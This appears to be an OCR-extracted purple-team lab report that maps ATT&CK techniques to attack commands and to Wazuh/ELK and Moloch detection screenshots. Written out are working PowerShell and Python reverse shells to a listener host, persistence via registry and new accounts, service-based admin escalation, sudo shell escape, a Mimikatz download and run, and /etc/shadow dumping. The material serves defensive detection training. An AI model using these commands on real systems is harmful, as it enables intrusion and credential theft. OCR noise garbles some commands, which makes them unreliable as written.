t input.type U.14", "AC.7" ], "gdpr”: [ "IV_32.2" ], "firedtimes": 2, "mitre”: { "technique”: [ "Valid Accounts” ], "id": [ "T1078" ], "tactic": [ "Def
ense Evasion”, "Initial Access”, "Persistence”, "Privilege Escalation“ ] }, "id": "5561", "gpg13": [ "7.8", "7.9" ] }, “"location": "/var/l

® -id og/auth.log"”, "id": "1600026615.42735337", "decoder”: { "parent”: "pam", "name”: "pam” }, "full_log": "Sep 14 ©01:20:15 EMPLOYEE-RL1 system
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2. EXECUTION

2.1 Execution Windows [External Remote Services - T1059.001]

2.1.A Attack [Command and Scripting Interpreter (PowerShell)]: -

» Attacker Machine:

nc -nlvp 4443

* On Compromised Machine (employee-machine):

$client = New-Object System.Net.Sockets.TCPClient('192.168.150.4"',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data
2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,@,$sendbyte.Length);$stream.Flush()};$client.Close()
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2.1.B Detection: -

Detect Shell-Code Execution using Host based Attack Monitoring [ELK + Wazuh (HIDS)] & Traffic Analysis

Active Defence — DTE0036 (Software Manipulation)
* Detecting PowerShell Script for Reverse Shell by HIDS

& c A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0) time:(from:now-15m,to:now))& a=(columns:!(_source) filters:!(('$state’(store:appState)met.. %* O @ @ R @ :

= ". . Discover (@) &

New Save Open Share Inspect

[ v [1010.10.5 KQL v Last 15 minutes Show dates C Refresh

@ NOT data.win.eventdata.image: C:\\Program Files (x86)\\ossec-agent\\ossec-agent.exe X + Add filter

wazuh-archives-3.x-* v 130,148 hits

QU Search field Sep 14, 2020 @ 01:41:53.047 - Sep 14, 2020 @ 01:56:53.047 — Auto v
earc ield names

35000

& Filter by type 0 30000

) 25000

Selected fields T 20000
=

<> _source 8 15000

10000
Available fields
5000

Popular 0

t agent.id 01:42:00 01:43:00 01:44:00 01:45:00 01:46:00 01:47:00 01:48:00 (

2

:00 01:50:00 01:51:00 01:52:00 01:53:00 01:54:00 01:55:00 01:56:00

4

©o

A
4

timestamp per 30 seconds
t agent.ip

Time _source
t data.win.system.channel

> Sep 14, 20208 @ 01:56:48.722

t id agent.ip: 10.10.18.5 input.type: log agent.name: EMPLOYEE-RW1 agent.id: 6862 manager.name: wazuhmanager
i data.win.eventdata.runspaceld: fd2dccf4-5b13-44063-8136-8708dbdb1cff3 data.win.eventdata.scriptBlockId: 495c8555-2bfb-483b-b5d4-
t _index
71f3d123690d data.win.system.eventID: 4186 data.win.system.keywords: Ox® data.win.system.providerGuid: {a@c1853b-5c40-4b15-8766-
# _score

3cf1c58f985a} data.win.system.level: 5 data.win.system.channel: Microsoft-Windows-PowerShell/Operational data.win.system.opcode: 15

t _type data.win.system.message: "Completed invocation of ScriptBlock ID: 495c8555-2bfb-483b-b5d4-71f3d123698d Runspace ID: fd2dccf4-5b13-4483-



 Detecting Reverse Connection by Network Analysis

& (& A Not secure | 172.16.1.15:8005/sessions?graphType=paHisto&seriesType=bars&expression=ip.src%20%3D%3D%2010.10.10.5%20%26%26%20ip.dst%20%3D%3D%20192.168.1504&dst.. w&* O @ B * @ :
_____ esSIO0 PlVie PlGrap onnectio e a 0 etling

Q | ip.src ==10.10.10.5 && ip.dst == 192.168.150.4 X w.
© Last hour Start = 2020/09/14 01:09:30 M M  End 2020/09/14 02:09:30 M M Bounding LastPacket Interval Auto 01:00:00
50 per page 1 Showing 1 - 3 of 3 entries

13 ; = - :

v aa < 10% - > Bytes | Databytes ] [ Lines (o
8

5

0 A H

0/09/14 01:10:00  2020/09/14 01:15:00  2020/09/14 01:20:00  2020/09/14 01:25:00  2020/09/14 01:30:00  2020/09/14 01:35:00  2020/09/14 01:40:00  2020/09/14 01:45:00  2020/09/14 01:50:00 ~ 2020/09/14 01:55:00  2020/09/14 02:00:00  2020/09/14 02:05:00

B E v Start Time Stop Time Src IP / Country Src Port Dst IP / Country Dst Port Packets Databytes / Moloch Info E
Bytes Node
. tcp 2020/09/14 2020/09/14 10.10.10.5 55352 192.168.150.4 4443 9 29 NetworkMonitor
01:56:21 02:02:35 574
. tcp 2020/09/14 2020/09/14 10.10.10.5 55347 192.168.150.4 4443 B 0 NetworkMonitor
01:49:19 01:51:00 252
. tcp 2020/09/14 2020/09/14 10.10.10.5 55343 192.168.150.4 4443 4 0 NetworkMonitor
01:44:58 01:48:58 252
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2. EXECUTION

2.2 Execution Linux [External Remote Services - T1059.004]

2.2.A Attack [Command and Scripting Interpreter (Unix Shell)]: -

» Attacker Machine:

nc -nlvp 7777

* On Compromised Machine (Employee-RL1):

python -c '"import
socket, subprocess,os;s=socket.socket(socket.AF INET,socket.SOCK STREAM);s.connect(("192.168.150.4,7777));0s.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"
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2.2.B Detection: -
Detect Shell-Code Execution using Host based Attack Monitoring [ELK + Wazuh (HIDS)] & Traffic Analysis
Active Defence — DTE0036 (Software Manipulation)

* Detecting Python Script for Reverse Shell by HIDS

A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('$state':(store:appState),met... ¥¢ O ©“ 8 = @
. Discover (@) =
root 62864 ©6.8 ©6.0 a e ? I 01:52 0:00 [kworker/u256:2-]
root 62945 6.8 0.9 0 0 ? I 02:12 9:00 [kworker/u256:0-]

empl@cy+ 62979 ©.6 ©.1 36356 9536 pts/@ S 92:16 8:00 python -c import socket, subprocess,
os;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) ;s.connect(("192.168.150.4",7777)) ;os.dup2(s.fil
eno(),8); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/sh","-1i"]);

empi@cy+ 62980 0.0 0.0 4624 784 pts/@ S+ 02:16 0:00 /bin/sh -1
root 62994 ©.86 0.0 4624 884 ? S 92:20 8:800 sh -c ps aux
root 62995 0.6 ©.0 49968 3652 ? R 02:20 9:80 ps aux
root 86926 ©.0 0.0 2] 0 ? I< Sepb4 0:00 [xfsalloc]
root 86928 ©.8 0.0 2] e 2 I< Sepb4 8:00 [xfs_mru_cache]
root 86939 6.6 6.0 %] e ? S Sepb4 0:00 [jfsIO]
root 86940 ©.8 0.0 2} 0 ? S Sepb4 0:00 [jfsCommit]
root 86941 ©6.6 0.0 %] e ? S Sepb4 0:00 [jfsCommit]
root 86942 ©.9 0.0 2} 8 ? S Sepb4 0:00 [jfsCommit]
root 86943 0.0 0.0 %] e ? S Sepb4 8:00 [jfsCommit]
root 86944 ©.0 0.0 2] 0 ? S Sepb4 0:00 [jfsCommit]
root 86945 ©6.6 6.0 2] e 2 S SepB4 0:00 [jfsCommit]
root 86946 ©.0 0.0 0 0 ? S Sepb4 9:00 [jfsCommit]
root 86947 ©.8 0.0 2] e ? S Sepb4 0:00 [jfsCommit]
root 86948 0.0 0.0 0 e ? S Sepb4 0:00 [jfsCommit]
root 86949 ©.86 0.0 2] e ? S Sepb4 0:00 [jfsCommit]
root 869586 0.0 0.0 0 e ? S Sepb4 0:00 [jfsCommit]
root 86951 ©.6 0.0 2] 8 2 S Sepb4 0:00 [jfsCommit]
root 86952 ©6.0 0.0 %] 0 ? S Sepb4 0:00 [jfsCommit]
root 86953 ©.8 0.0 2] 8 2 S Sepb4 0:00 [jfsCommit]
root 86954 ©0.0 0.0 0 0 ? S Sepb4 0:00 [jfsCommit]
root 86955 ©.0 0.0 2] e ? S Sepb4 0:00 [jfsCommit]
root 86956 ©6.8 6.0 0 5 s S Sepb4 8:00 [jfsSync]
root 106759 6.8 0.0 %] 0 ? I SepB6 0:00 [kworker/4:0]
root 169345 6.6 0.0 2} e ? T SepB6 0:00 [kworker/13:1-cg]

t id 16000306233 .45123888

t input.type log

t location ps aux

t manager.name wazuhmanager



 Detecting Reverse Connection by Network Analysis

< C A Notsecure | 172.16.1.15:8005/sessions?graphType=paHisto&seriesType=bars&expression=ip.src%20%3D%3D%2010.10.10.6%20%26%26%20ip.dst%20%3D%3D%20192.168.1504&dst.. &+ O @ @ R @ :

é Sessions SPIView SPlGraph Connections Hunt Files Stats History Settings

Q | ip.src == 10.10.10.6 && ip.dst == 192.168.150.4) x @.

® Custom Start | 2020/09/14 01:29:16 M M  End 2020/09/14 23:59:59 M M Bounding LastPacket Interval = Auto 22:30:43

50 per page 1 Showing 1 - 1 of 1 entries

8 Q€| 10% ~ > Bytes l Databytes] [Llnes u
6

4

2

0

314 01:30:00 2020/09/14 03:30:00 2020/09/14 05:30:00 2020/09/14 07:30:00 2020/09/14 09:30:00 2020/09/14 11:30:00 2020/09/14 13:30:00 2020/09/14 15:30:00 2020/09/14 17:30:00 2020/09/14 19:30:00 2020/09/14 21:30:00 2020/09/14 23:30:00

E E + Start Time Stop Time Src IP / Country Src Port Dst IP / Country Dst Port Packets Databytes / Moloch Info E
Bytes Node
. tcp 2020/09/14 2020/09/14 10.10.106 51818 192.168.150.4 7777 6 2 NetworkMonitor
02:16:53 02:25:32 380
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3. PERSISTENCE

3.1 Persistence Windows [Boot or Logon Autostart Execution - T1547.001]
3.1.A Attack: -

Registry Modification
1.1 Modify Registry values for persistence

reg add

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v
Pentestlab /t REG_SZ /d "C:\Temp\lab.exe*
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3.1.B Detection: -

Detect Registry Modification using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTEO006 (Defining Base-Lining on Registry management)

O

< & A Not secure | 172.16.1.13/app/kibana#/discover? g=(filters:!(),refreshinterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:|(('$state’:(store:appState)met... % O @ B B @ :

o
& .
e? . Discover

INTwy Jave VT Siarc miopouL

[3) v~ Search

KQL v Last 15 minutes Show dates C Refresh

@ NOT data.win.eventdata.image: C:\\Program Files (x86)\\ossec-agent\\ossec-agent.exe X || agent.ip: 10.10.10.5 X + Add filter

wazuh-archives-3.x-*

QU Search field names

& Filter by type 0

Selected fields

<> _source

Available fields

Popular
t agent.id
t agent.ip

Top 5 values in 8 / 8 records
10.10.10.5 @ Q

I 000

t data.win.eventdata.even...

t data.win.system.channel

Count

w

w

16:01:00 16:02:00 16:03:0

Time +

Sep 14, 2020 @ 16:16:11.175

8 hits

Sep 14, 2020 @ 16:01:59.818 - Sep 14, 2020 @ 16:16:59.818 —

16:07:00 16:08:00 16:09:00 16:10:00

[
Q
o
()]
-
=~
>
(=]
(o))

©
o
o
o

5}
(=)
>
o
()
o)
»
5

3
>
o
>
>
o))
>

¢
>

timestamp per 30 seconds

~source

agent.ip: 10.10.10.5 input.type: log agent.name: EMPLOYEE-RW1 agent.id:

© O

Auto v

16:11:00 16:12:00 16:13:00 16:14:00 16:15:00 16:16:00

8062 manager.name: wazuhmanager

data.win.eventdata.originalFileName: reg.exe data.win.eventdata.image: C:\\Windows\\System32\\reg.exe

data.win.eventdata.product: Microsofte Windows® Operating System data.win.eventdata.parentProcessGuid: {bb9cB845a-35d8-5f5f-b112-

000000BB1200} data.win.eventdata.description: Registry Console Tool data.win.eventdata.logonGuid: {bb9c845a-35d8-5f57-286c-036e000800000}

data.win.eventdata.parentCommandlLine: \"cmd.exe\" data.win.eventdata.processGuid: {bb9c045a-49ea-5f5f-cf12-000000001200}
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3. PERSISTENCE

3.2.1 Persistence Linux [Create Account - T1136.001]
3.2.A Attack: -

Create Account

1.1 Adding Users for persistence

useradd -p $(openssl passwd -1 password) support 388945al
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3.2.B Detection: -

Detect adding new users for persistence using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTEO006 (Defining Base-Lining on Registry management)

O

< (& A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('$state’:(store:appState)met.. ¥ O @ B B @ :
= ". . Discover (@) &
Ne Save Open Share Inspect

[f) v~ useradd KQL v Last 15 minutes Show dates C Refresh

% | agent.ip: 10.10.10.6 X | + Add filter

wazuh-archives-3.x-* 6 hits
: Sep 14, 2020 @ 16:26:57.394 - Sep 14, 2020 @ 16:41:57.394 — Auto v
Q) Search field names
3
& Filter by type 0 -
Selected fields = 2
g 1.5
< _source S g
Available fields 0.5
Popular o
¢ agent.id 16:27:00 16:28:00 16:29:00 16:30:00 16:31:00 16:32:00 16:33:00 16:34:00 16:35:00 6:36:00 16:37:00 16:38:00 16:39:00 16:40:00 16:41:00
timestamp per 30 seconds
t agent.ip
Time + _source
t location
5 id > Sep 14, 2020 @ 16:40:54.2063  gent.ip: 10.10.10.6 data.audit.command: useradd full_log: type=SYSCALL msg=audit(1600081852.598:24795): arch=c@00003e syscall=42
- success=yes exit=0 aB=6 a1=55c238ecf8008 a2=1d a3=7ffffb344ff0 items=1 ppid=72118 pid=73583 auid=1489401118 uid=1489461118 gid=148940808513
t _inaex
euid=1489401118 suid=1489481118 fsuid=14894081118 egid=14894080513 sgid=14894608513 fsgid=14894008513 tty=pts® ses=538 comm="useradd"
i =sScore exe="/usr/sbin/useradd” key="T1043_Commonly_Used_Port” type=SOCKADDR msg=audit(16000881852.590:24795):
t| _type saddr=81082F72756E2F646275732F73797374656D5F6275735F736F636B6574 type=PATH msg=audit(16660681852.598:24795): item=0
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4. PRIVILEGE ESCALATION

4.1 Privilege Escalation Windows [Create or Modify System Process - T1543.003]
4.1.A Attack: -

Create or Modify System Processes

sc.exe config snmptrap binpath= "net localgroup Administrators cyberwarfare\empX /add"
sc.exe stop snmptrap

sc.exe start snmptrap
<logoff>

<then login again>
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4.1.B Detection: -

Detecting service manipulation by Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTE0032 (Security Controls)

< & A Not secure | 172.16.1.13/app/kibana#/discover? g=(filters:!(),refreshinterval:(pause:!t,value:0),time:(from:now-15m,to:now))& a=(columns:!(_source) filters:!(('$state’:(storezappState)met.. &% O @ @ o

-
— @ i
— @* . Discover

New Save Open Share Inspect

[B) v~ [search

0O o

KQL v Last 15 minutes Show dates C Refresh

® | agent.ip:10.10.10.5 X | + Add filter

wazuh-archives-3.x-* v

Q Search field names

& Filter by type 0

Selected fields

<[> _source

Available fields

Popular
t agent.id
t agent.ip

Top 5 values in 7 / 7 records
10.10.10.5 Qe

I 000%

t data.win.system.channel

Count

(o))

N W e W»

16:39:00 16:40:00

Time

Sep 14, 2020 @ 16:52:28.6086

7 hits
Sep 14, 2020 @ 16:38:18.284 - Sep 14, 2020 @ 16:53:18.284 — Auto v

16:41:00 16:42:00 16:43:00 16:44:00

o
0

15
@

4 14000

47:00 16:48:00 16:49:00 16:50:00 16:51:00 16:52:00
timestamp per 30 seconds

_source

agent.ip: 10.10.108.5 input.type: log agent.name: EMPLOYEE-RW1 agent.id: 602 manager.name: wazuhmanager
data.win.eventdata.originalFileName: sc.exe data.win.eventdata.image: C:\\Windows\\System32\\sc.exe

data.win.eventdata.product: Microsoft® Windows@ Operating System data.win.eventdata.parentProcessGuid: {bb9c845a-35d8-5f5f-b112-
000000001200} data.win.eventdata.description: Service Control Manager Configuration Tool data.win.eventdata.logonGuid: {bb9c®845a-35d8-
5f5f-206c-0830e00000BOO} data.win.eventdata.parentCommandLine: \"cmd.exe\" data.win.eventdata.processGuid: {bb9cB845a-526b-5f5f-dal12-
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4. PRIVILEGE ESCALATION

4.2 Execution: - Privilege Escalation Linux [Abuse Elevation Control Mechanism
T1548.003]

4.2.B Attack: -

Abuse Elevation Control Mechanism
sudo -1
sudo /tmp/vi

Esc + :!/bin/bash

(presented with root)
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4.2.B Detection: -

Detecting ‘sudo’ abuse using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTEQ032 (Security Controls)

< (& A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:|(),refreshinterval:(pause:!t, value:0) time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!((‘$state"s(store:appState)met.. ¥¢r @O @ @ * 0 :
= ". . Discover © &
New Save Open Share Inspect

B v [Search KQL v Last 15 minutes Show dates G Refresh

&  agent.ip:10.10.10.6 X | + Add filter

wazuh-alerts-3.x-* v 1 hit
3 Sep 14, 2020 @ 16:41:19.943 - Sep 14, 2020 @ 16:56:19.943 — Auto v
QQ Search field names
1
® Filter by type 0
0.8
Selected fields = 06
3
Available fields 8 0.4
Popular 0.2
t agent.id 0
t agentip 16:42:00 16:43:00 16:44:00 16:45:00 16:46:00 6:49:00 16:51:00 16:52:00 16:53:00 16:54:00 16:55:00
timestamp per 30 seconds
t agent.name
Time + _source
t input.type
= - > Sep 14, 2020 @ 16:55:51.225 { “predecoder”: { "hostname": "EMPLOYEE-RL1", "program_name": “sudo”, “timestamp”: “Sep 14 16:55:51" }, "input”: { “type": “log" }, "agen
@ _id
& t": { "ip": "10.10.10.6", "name": "EMPLOYEE-RL1", "id": "@04" }, "data": { "srcuser": "empl@cyberwarfare.corp”, "dstuser”: "root", "tty":
@ _index "pts/8", "pwd": "/home/cyberwarfare.corp/emp1"”, "command": "list" }, "manager": { "name": "wazuhmanager” }, "rule": { "mail": false, "leve
& 1": 3, "pci_dss": [ "10.2.5", "10.2.2" ], "hipaa”: [ "164.312.b" ], "tsc": [ "CC6.8", "CC7.2", "CC7.3" ], "description”: "Successful sudo
® _score to ROOT executed.”, “"groups”: [ “syslog”, “"sudo” ], "nist_860_53": [ "AU.14", "AC.7", "AC.6" ], "gdpr": [ "IV_32.2" ], "firedtimes": 1, "m

itre": { "technique”: [ "Sudo” 1, "id": [ "T1169" ], "tactic": [ "Privilege Escalation” ] }, "id": "54@82", "gpg13": [ "7.6", "7.8", "7.13"
@ -type ] }, "location”: "/var/log/auth.log", "id": "1600082751.24133330", “decoder”: { "parent”: “"sudo", "name": "sudo”, “ftscomment”: "First tim
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5. DEFENSIVE EVASION

5.1 Defensive Evasion Windows [File & Directory Permissions Modification - T1222.001]

5.1.A Attack : -

Defensive control evasion by changing Access Controls.

icacls . /grant Everyone:F /T /C /Q
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5.1.B Detection: -

Detect Access Control Manipulation using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTEO030 (Pocket Litter)

< C A Notsecure | 172.16.1.13/app/kibana#/discover? g=(filters:!(),refreshinterval:(pause:!t,value:0) time:(from:now-15m,to:now))& a=(columns:!(_source) filters:!(('$state’:(store:appState)met.. ¥ @ @ @ * @
= G . Discover e
B v Search KQL v Last 15 minutes Show dates C Refresh
% | agent.ip: 10.10.10.5 X |+ Add filter
wazuh-alerts-3.x-* v < 3 hits
S Sep 14, 2020 @ 16:45:13.767 - Sep 14, 2020 @ 17:00:13.767 — Auto v
QU search field names
2
(& Filter by type 0
15
Selected fields =
Available fields g
Popular O
t agent.id 0
¢ agent.ip 16:46:00 16:47:00 16:48:00 16:49:00 16:50:00 16:51:00 16:52:00 16:53:00 16:54:00 16:55:00 16:56:00 16:57:00 16:58:00 16:59:00

timestamp per 30 seconds
Top 5 values in 3/ 3 records

Time + source
10.10.10.5 A Q -

I 100.0% > Sep 14, 2028 @ 16:59:59.666

{ "input”: { "type”: "log" }, "agent”: { "ip": "10.10.10.5", "name"”: "EMPLOYEE-RW1", "id": "@@2" }, "manager”: { "name": "wazuhmanager” },

“data”": { "win": { "eventdata”: { "originalFileName": "iCACLS.EXE", "image”: "C:\\\\Windows\\\\System32\\\\icacls.exe", "product”: "Micros
ofte Windows® Operating System”, "parentProcessGuid”: "{bb9c845a-35d8-5f5f-b112-0000000081260}", "logonGuid": "{bb9cB45a-35d8-5f5f-2086c-0830
e0000B0eBe}", "parentCommandLine”: "\\\"cmd.exe\\\"", "processGuid”: "{bb9c@45a-542e-5f5f-dd12-006000001200}", "logonId": "©xeB36c28", "par

t agent.name entProcessId”: "4880", “"processId”: "18364", "currentDirectory”: "C:\\\\Windows\\\\system32\\\\", "utcTime": "2020-09-14 11:29:50.946", "h

+1 ot syt chanel ashes”: "MD5=D8B5677F15576983CB8D344F21FD1309, SHA256=3524EDEG9OFE583A30DEC8F629A74B8F728C9A236E5C4E49A3BB151C8AC1424A, IMPHASH=446163A54833

7B5BCF2727BCD1CFB399", "parentImage”: "C:\\\\Windows\\\\System32\\\\cmd.exe", "company": "Microsoft Corporation”, "commandlLine": "icacls .




5. DEFENSIVE EVASION

5.2 Defensive Evasion Linux [File & Directory Permissions Modification - T1222.002]

5.2.A Attack: -

File and Directory Permissions Modification: -

cd /opt/sensitive

chmod 777 /opt/sensitive

cat read.txt
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5.2.B Detection: -

Detect File/Folder permissions abuse using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTEO030 (Pocket Litter)

&« (& A Not secure | 172.16.1.13/app/kibana#/discover? g=(filters:!(),refreshinterval:(pause:!t,value:0) time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:|(('$state":(store:appState),met... ¥« 0O ¢ 8 = @ :
= G . Discover 0
New Save Open Share Inspect
B v |chmod KQL \v  Last 15 minutes Show dates C Refresh
® | agent.ip:10.10.10.6 X | + Add filter
wazuh-archives-3.x-* v 4 hits
S Sep 14, 2020 @ 16:50:49.843 - Sep 14, 2020 @ 17:05:49.843 — Auto v
QL Search field names
4
& Filter by type 0
3
Selected fields =
3 2
<> _source o
Available fields -
Popular 0
¢ agent.id 16:51:00 16:52:00 16:53:00 16:54:00 16:55:00 16:56:00 6:57:00 6:58:00 16:59:00 17:00:00 01:00 17:02:00 17:03:00 17:04:00
timestamp per 30 seconds
t agent.ip
Time + _source
t location
€ _id > Sep 14, 2020 @ 17:02:27.673  zgent.ip: 10.10.10.6 data.audit.command: chmod full_log: type=SYSCALL msg=audit(1600083145.861:26286): arch=c800003e syscall=268
- success=yes exit=0 af=ffffff9c a1=564a968f04cB a2=1cO® a3=0 items=1 ppid=72118 pid=737605 auid=1489461118 uid=1489401118 gid=1489488513
t —inaex
euid=1489401118 suid=1489401118 fsuid=1489401118 egid=148946808513 sgid=1489488513 fsgid=14894008513 tty=pts® ses=538 comm="chmod"
) eI exe="/bin/chmod” key="T1166_Seuid_and_Setgid" type=PATH msg=audit(1600083145.861:26286): item=8 name="dd.txt" inode=1586420 dev=08:01
t _type mode=810808755 ouid=1489401118 0gid=1489400513 rdev=00:00 nametype=NORMAL cap_fp=8 cap_fi=0 cap_fe=8 cap_fver=6 cap_frootid=0 type=PROCTITLE
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6. CREDENTIAL ACCESS

6.1 Credential Access Windows [OS Credential Dumping - T1003.001]
6.1.A Attack: -

0S Credential Dumping: -
1. Download Credential Dumping Script from Payload-Server:

iwr -usebasicparsing http://192.168.250.100/Invoke-Mimikatz.psl -OutFile Invoke-
Mimikatz.psl

2. Execute Credential Dumping script on compromised machine:

.\Invoke-Mimikatz.psl

Invoke-Mimikatz -verbose
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http://192.168.250.100/Invoke-Mimikatz.ps1

6.1.B Detection: -

Detect Credential dumping script using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTE0012 (Decoy Credentials)

€« &

Open

-
& :
On Discover

New Save Share Inspect

Search

@3 v
S)

agent.ip: 10.10.10.5 X | + Add filter

wazuh-archives-3.x-* v
Q search field names

& Filter by type 0
Selected fields

<> _source

Available fields

Popular

t agent.id
t agent.ip

t data.win.system.channel

t location
t _id

t _index
# _score

A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('$state":(store:appState),met...

Count

* 0O @

e » @ :
® o

KQL v Last 15 minutes Show dates C Refresh
40,825 hits
Sep 14, 2020 @ 17:04:11.644 - Sep 14, 2020 @ 17:19:11.644 — Auto v
15000
10000
5000
0 —  —1
17:05:00 17:06:00 17:07:00 17:08:00 17:09:00 17:10:00 17:11:00 17:12:00 17:13:00 17:14:00 17:15:00 17:16:00 17:17:00 17:18:00 17:19:00
timestamp per 30 seconds
Time + _source
Sep 14, 20206 @ 17:19:06.994 agent.ip: 16.10.18.5 1input.type: log agent.name: EMPLOYEE-RW1 agent.id: 862 manager.name: wazuhmanager

data.win.system.message: “CommandInvocation(Invoke-Mimikatz): "Invoke-Mimikatz" ParameterBinding(Invoke-Mimikatz): name="DumpCreds";

value="False” ParameterBinding(Invoke-Mimikatz): name="DumpCerts”; value="False" ParameterBinding(Invoke-Mimikatz): name="Command";

value="" CommandInvocation(Out-Default): "Out-Default” ParameterBinding(Out-Default): name="InputObject”;

(x64) #18362 Jan 16 2020 20:15:50 .## * ##. "A La Vie,

value=" .#####. mimikatz 2.2.0

A L'Amour™ - (oe.eo) ## / \ ## /*xx Benjamin DELPY “gentilkiwi~™ (
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6. CREDENTIAL ACCESS

6.2 Credential Access Linux [OS Credential Dumping - T1003.008]

6.2.A Attack: -

/etc/shadow & /etc/passwd file dump: -

unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db

83



6.2.B Detection: -

Detect credential dumping using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTE0Q012 (Decoy Credentials)

< (&4 A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0) time:(from:now-15m,to:now))&_a=(columns:!(_source)filters:!(('$state’:(store:appState)met.. W& O X @ R o :
= ". . Discover (@) [
New Save Open Share Inspect

B v~ unshadow KQL v Last 15 minutes Show dates C Refresh

® | agent.ip:10.10.10.6 X + Add filter

wazuh-archives-3.x-* v , 2 hits
= Sep 14, 2020 @ 17:12:12.041 - Sep 14, 2020 @ 17:27:12.041 — Auto v
QQ Search field names
2
& Filter by type 0
1.5
Selected fields =
g 1
<> _source 3
Available fields 05
Popular 0
t agent.id 17:13:00 17:14:00 17:15:00 17:16:00 7 7:18:00 7:19:00 7: 17:21:00 17:23:00 17:24:00 17:25:00 17:26:00
timestamp per 30 seconds
t agent.ip
Time + _source
t location
2 id > Sep 14, 2828 @ 17:26:35.315  agent.ip: 10.10.18.6 data.audit.command: unshadow full_log: type=SYSCALL msg=audit(1600884593.844:27965): arch=c8000083e syscall=257
o success=no exit=-13 aB=ffffff9c al1=7ffd57d95781 a2=8 a3=0 items=1 ppid=72118 pid=73834 auid=14894681118 uid=1489401118 gid=1489468513
t _index
euid=1489461118 suid=1489401118 fsuid=1489461118 egid=1489460513 sgid=1489400513 fsgid=148940806513 tty=pts® ses=538 comm="unshadow"
£] -score exe="/usr/sbin/john" key="T1887_Account_Discovery" type=PATH msg=audit(1600884593.844:27965): item=0 name="/etc/shadow” inode=1311187
t _type dev=88:81 mode=010806408 ouid=0 ogid=42 rdev=00:08 nametype=NORMAL cap_fp=8 cap_fi=0 cap_fe=0 cap_fver=8 cap_frootid=8 type=PROCTITLE
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/. DISCOVERY

7.1 Discovery Windows [Domain Trust Discovery - T1482]

7.1.A Attack: -

Domain Users Discovery:
net user /domain
Domain Group Discovery:

net group «Domain Admins» /domain
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7.1.B Detection: -

Detecting Domain information discovery using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTE0014 (Decoy Network)
— DTE 0012 (Decoy Credentials)

< > A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0), time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('$state:(storeappState)met... ¥ @O @ @ N 0 E

- .
% . Discover (@)

(3 | agent.ip:10.10.10.5 X =+ Add filter

wazuh-alerts-3.x-* v < 7 hits
Q eearch field fanes Sep 14, 2020 @ 17:46:49.155 - Sep 14, 2020 @ 18:01:49.155 — Auto '
|
3
& Filter by type 0 s
Selected fields 2
1.5

Count

Available fields

Popular 0.5 . .
t agent.id 0

¢t agentip 17:47:00 17:48:00 17:49:00 17:50:00 17:51:00 17:52:00 17:53:00 17:54:00 17:55:00 17:56:00 17:57:00 17:58:00 17:59:00 18:00:00 18:01:00

timestamp per 30 seconds
t agent.name

Time + _source
t data.win.system.channel
y > Sep 14, 2020 @ 18:81:32.385 { "input”: { “"type”: "log"” }, “"agent”: { "ip”: "10.10.18.5", "name”: "EMPLOYEE-RW1", "id": "©02" }, "manager”: { “name”: “"wazuhmanager” },
e R e "data": { "win": { "eventdata": { "originalFileName": "netl.exe”, "image”: "C:\\\\Windows\\\\System32\\\\net1.exe", "product”: "Microsofte
¢t data.win.system.provide... Windowse Operating System”, "parentProcessGuid”: "{bb9cB845a-629b-5f5f-ff12-006006001200}", "description”: "Net Command”, "logonGuid": "{bb
9cB45a-626b-5T5f-8a62-2d0eBBBBOBBO}", "parentCommandlLine”: "net users /dom”, "processGuid": "{bb9cB45a-629b-5f5f-0013-000860081260}", "log
t input.type onId”: "@Bxe2d628a", "parentProcessId”: "7568", "processId”: "2684", "currentDirectory"”: "C:\\\\Windows\\\\system32\\\\", "utcTime": "20820-
09-14 12:31:23.592", "hashes”: "MD5=3315CF38117D3CCBACOBB4BEECC633FBB, SHA256=195A557E92A631E29ECF789C360A99COF5D2D1BECEA33153CCA6BE63DO4CEE
® -id 01, IMPHASH=D115CDECBD7EB553182EAD3D45F5816C", "parentImage"”: "C:\\\\Windows\\\\System32\\\\net.exe"”, “"company”: "Microsoft Corporation”,
